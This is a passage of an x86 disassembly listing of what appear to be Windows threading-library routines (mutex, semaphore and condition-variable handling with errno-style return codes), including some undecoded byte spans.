; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432980 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_4329C5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_4329C0
cmp eax, 2
jg short loc_4329C0
test eax, eax
jz short loc_4329AC
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329AC: ; CODE XREF: sub_432980+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020B3
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329C0: ; CODE XREF: sub_432980+1Aj
; sub_432980+1Fj
mov eax, 16h
loc_4329C5: ; CODE XREF: sub_432980+12j
pop esi
retn
sub_432980 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4329F0 proc near ; CODE XREF: sub_4020B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_40154B
add esp, 4
cmp esi, eax
jl loc_432A95
push edi
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432A95
cmp esi, 0FFFFFFF1h
jle short loc_432A30
cmp esi, 0FFFFFFFEh
jge short loc_432A30
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_432A42
; ---------------------------------------------------------------------------
loc_432A30: ; CODE XREF: sub_4329F0+2Fj
; sub_4329F0+34j
cmp esi, 0Fh
jge short loc_432A42
cmp esi, 2
jle short loc_432A42
mov [esp+8+arg_8], 2
loc_432A42: ; CODE XREF: sub_4329F0+3Ej
; sub_4329F0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_432A8E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 274068Ah
test eax, eax
jnz short loc_432A82
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A82: ; CODE XREF: sub_4329F0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_432A8E: ; CODE XREF: sub_4329F0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A95: ; CODE XREF: sub_4329F0+19j
; sub_4329F0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_4329F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AD0 proc near ; CODE XREF: sub_40218Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_432B09
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_432B04
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_432B04
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_432B04: ; CODE XREF: sub_432AD0+1Bj
; sub_432AD0+23j
mov eax, 16h
loc_432B09: ; CODE XREF: sub_432AD0+12j
pop esi
retn
sub_432AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B20 proc near ; CODE XREF: sub_401438j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B33
cmp eax, 2
jg short loc_432B33
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_432B33: ; CODE XREF: sub_432B20+6j
; sub_432B20+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B60 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B73
cmp eax, 2
jg short loc_432B73
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_432B73: ; CODE XREF: sub_432B60+6j
; sub_432B60+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432BA0: ; CODE XREF: ___:00401AC8j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432BE5
nop
call near ptr 2740627h
cmp esi, eax
jz short loc_432BE5
push esi
push 0
push 200h
call near ptr 2790000h
nop
test eax, eax
jnz short loc_432BE5
call near ptr 27C0896h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BE5: ; CODE XREF: ___:00432BA7j
; ___:00432BB1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432BFE
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BFE: ; CODE XREF: ___:00432BEBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432C30: ; CODE XREF: ___:0040150Aj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432C75
nop
call near ptr 2740627h
cmp esi, eax
jz short loc_432C75
push esi
push 0
push 400h
nop
call near ptr 2790000h
test eax, eax
jnz short loc_432C75
call near ptr 27C0896h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432C75: ; CODE XREF: ___:00432C37j
; ___:00432C41j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432CA0: ; CODE XREF: ___:00401B4Aj
push 0
nop
call near ptr 2850303h
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432CC0 proc near ; CODE XREF: sub_401C76j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_432CDF
mov edi, 1
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432CDF: ; CODE XREF: sub_432CC0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432CF7
mov edi, 0Ch
loc_432CF7: ; CODE XREF: sub_432CC0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2740000h
test eax, eax
mov [esi], eax
jnz short loc_432D24
mov edi, 1Ch
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D24: ; CODE XREF: sub_432CC0+4Fj
test edi, edi
jz short loc_432D36
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D36: ; CODE XREF: sub_432CC0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_432CC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432D80 proc near ; CODE XREF: sub_401686j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_432DA5
mov esi, [edi]
test esi, esi
jz short loc_432DA5
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 2860000h
test eax, eax
jnz short loc_432DB7
mov [edi], esi
loc_432DA5: ; CODE XREF: sub_432D80+8j
; sub_432D80+Ej
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432DB7: ; CODE XREF: sub_432D80+21j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_432D80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DF0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E23
mov eax, [eax]
test eax, eax
jz short loc_432E23
mov eax, [eax]
push 0
push eax
nop
call near ptr 277044Ch
cmp eax, 102h
jnz short loc_432E35
mov esi, 0Bh
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E23: ; CODE XREF: sub_432DF0+7j
; sub_432DF0+Dj
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E35: ; CODE XREF: sub_432DF0+1Fj
xor eax, eax
pop esi
retn
sub_432DF0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E60 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E8D
mov eax, [eax]
test eax, eax
jz short loc_432E8D
mov eax, [eax]
push eax
call sub_401640
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 7EC437E8h, 30899077h, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432E8D: ; CODE XREF: sub_432E60+7j
; sub_432E60+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_432E60 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401898j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_432EF3
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432EF3: ; CODE XREF: sub_432ED0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_432F02
or ebx, 0FFFFFFFFh
jmp short loc_432F61
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
nop
call near ptr 77C49113h
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_432F61
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_432F61
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_432F61
dec ebx
loc_432F61: ; CODE XREF: sub_432ED0+30j
; sub_432ED0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D70
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_432FE0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
push 0
push 1
push eax
nop
call near ptr 2730D2Bh
test eax, eax
jnz short loc_43300F
loc_432FFF: ; CODE XREF: sub_432FE0+6j
; sub_432FE0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_43300F: ; CODE XREF: sub_432FE0+1Dj
xor eax, eax
retn
sub_432FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433030 proc near ; CODE XREF: sub_40204Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_433056
mov eax, [eax]
test eax, eax
jz short loc_433056
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_433056
mov eax, [eax]
push 0
push ecx
push eax
nop
call near ptr 2730D2Bh
test eax, eax
jnz short loc_433066
loc_433056: ; CODE XREF: sub_433030+6j
; sub_433030+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_433066: ; CODE XREF: sub_433030+24j
xor eax, eax
retn
sub_433030 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433080: ; CODE XREF: ___:00401433j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4330CD
mov esi, [eax]
test esi, esi
jz short loc_4330CD
mov edi, [esp+10h]
test edi, edi
jz short loc_4330CD
mov eax, [esi]
push 0
push eax
call near ptr 277044Ch
nop
cmp eax, 102h
jnz short loc_4330B1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330B1: ; CODE XREF: ___:004330A8j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2730D2Bh
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330CD: ; CODE XREF: ___:00433088j
; ___:0043308Ej ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433100: ; CODE XREF: ___:0040220Cj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433120: ; CODE XREF: ___:00402013j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433140: ; CODE XREF: ___:00401CB2j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433160 proc near ; CODE XREF: sub_401992j
arg_0 = dword ptr 4
push esi
push offset dword_50E980
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_433194
push esi
push ecx
call sub_4021EE
add esp, 8
mov esi, eax
push offset dword_50E980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433194: ; CODE XREF: sub_433160+17j
test eax, eax
jnz short loc_43319D
mov esi, 16h
loc_43319D: ; CODE XREF: sub_433160+36j
push offset dword_50E980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_433160 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4331D0 proc near ; CODE XREF: sub_4021EEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4331EE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4331EE: ; CODE XREF: sub_4331D0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C26
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_433229
mov [esp+14h+var_4], 1
loc_43320B: ; CODE XREF: sub_4331D0+5Ej
; sub_4331D0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433240
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433229: ; CODE XREF: sub_4331D0+31j
cmp [esp+14h+var_4], 1
jle short loc_43320B
cmp ebx, 1
jnz short loc_43320B
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: sub_4331D0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43325D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: sub_4331D0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A0F
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433293
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_433293
mov dword ptr [esi], 3
loc_433293: ; CODE XREF: sub_4331D0+9Ej
; sub_4331D0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_4332AF
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4332AF: ; CODE XREF: sub_4331D0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4331D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433310: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4333B5
mov esi, [edi]
test esi, esi
jz loc_4333B5
cmp esi, 0FFFFFFFFh
jz short loc_433378
cmp dword ptr [esi], 3
jnz short loc_43335D
lea eax, [esi+4]
push eax
call sub_40222F
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4333AF
loc_433347: ; CODE XREF: ___:0043336Bj
push esi
mov dword ptr [edi], 0
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43335D: ; CODE XREF: ___:00433333j
push 1
push 0
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 1
jz short loc_433347
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433378: ; CODE XREF: ___:0043332Ej
push offset dword_50E980
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43339F
push offset dword_50E980
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43339F: ; CODE XREF: ___:00433386j
push offset dword_50E980
mov ebx, 10h
call near ptr 7C9010EDh
nop
loc_4333AF: ; CODE XREF: ___:00433345j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4333B5: ; CODE XREF: ___:0043331Bj
; ___:00433325j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333F0: ; CODE XREF: ___:004021C1j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433451
mov eax, [esi]
test eax, eax
jz short loc_433451
cmp eax, 0FFFFFFFFh
jnz short loc_433411
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433456
loc_433411: ; CODE XREF: ___:00433402j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_433433
loc_433423: ; CODE XREF: ___:00433431j
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 2
jz short loc_433423
loc_433433: ; CODE XREF: ___:00433421j
mov eax, [esi]
cmp eax, 2
jnz short loc_43343E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43343E: ; CODE XREF: ___:00433438j
cmp eax, 3
jnz short loc_433451
add esi, 4
push esi
call sub_402225
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433451: ; CODE XREF: ___:004333F7j
; ___:004333FDj ...
mov eax, 16h
loc_433456: ; CODE XREF: ___:0043340Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433480: ; CODE XREF: ___:00401AA5j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4334C1
mov esi, [eax]
test esi, esi
jz short loc_4334C1
cmp esi, 0FFFFFFFFh
jnz short loc_43349B
loc_433494: ; CODE XREF: ___:004334A7j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43349B: ; CODE XREF: ___:00433492j
push 2
push 1
push esi
call dword_50E3FC ; InterlockedCompareExchange
dec eax
jz short loc_433494
dec eax
jz short loc_4334BD
dec eax
jnz short loc_4334C1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334BD: ; CODE XREF: ___:004334AAj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334C1: ; CODE XREF: ___:00433487j
; ___:0043348Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:00401933j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433540
mov eax, [esi]
test eax, eax
jz short loc_433540
cmp eax, 0FFFFFFFFh
jnz short loc_433511
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433545
loc_433511: ; CODE XREF: ___:00433502j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
dec eax
jz short loc_43353C
dec eax
jz short loc_433535
dec eax
jnz short loc_433540
add esi, 4
push esi
call sub_40177B
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433535: ; CODE XREF: ___:00433522j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43353C: ; CODE XREF: ___:0043351Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433540: ; CODE XREF: ___:004334F7j
; ___:004334FDj ...
mov eax, 16h
loc_433545: ; CODE XREF: ___:0043350Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433570: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43359C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_433597
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433597: ; CODE XREF: ___:0043358Ej
xor eax, eax
mov [esi+20h], ecx
loc_43359C: ; CODE XREF: ___:00433582j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4335B0 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43363C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4335D4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335D4: ; CODE XREF: sub_4335B0+1Bj
push edi
push esi
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_4335ED
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335ED: ; CODE XREF: sub_4335B0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4335FD
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335FD: ; CODE XREF: sub_4335B0+41j
mov eax, [esi+4]
push eax
call sub_401640
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0D441E890h, 0C085022Fh, 0E8560E74h, 0FFFCE181h, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43363C: ; CODE XREF: sub_4335B0+12j
pop esi
retn
sub_4335B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433670 proc near ; CODE XREF: sub_4015FFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433695
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433695: ; CODE XREF: sub_433670+15j
nop
call near ptr 273068Fh
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4336BE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336BE: ; CODE XREF: sub_433670+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4336DB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336DB: ; CODE XREF: sub_433670+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_433670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433710 proc near ; CODE XREF: sub_401AA0j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_4337A0
cmp [ebx+0Ch], ebp
jz short loc_43377C
cmp [ebx+4], ebp
jz short loc_43377C
lea eax, [ebx+8]
push eax
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43377C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_43376F
push edi
loc_433743: ; CODE XREF: sub_433710+5Cj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43376A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_43376A: ; CODE XREF: sub_433710+3Ej
cmp esi, ebp
jnz short loc_433743
pop edi
loc_43376F: ; CODE XREF: sub_433710+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_43377C: ; CODE XREF: sub_433710+13j
; sub_433710+18j ...
mov eax, [ebx]
push eax
nop
call near ptr 2730000h
cmp [ebx+4], ebp
jz short loc_433796
lea ecx, [ebx+8]
push ecx
call sub_40222F
add esp, 4
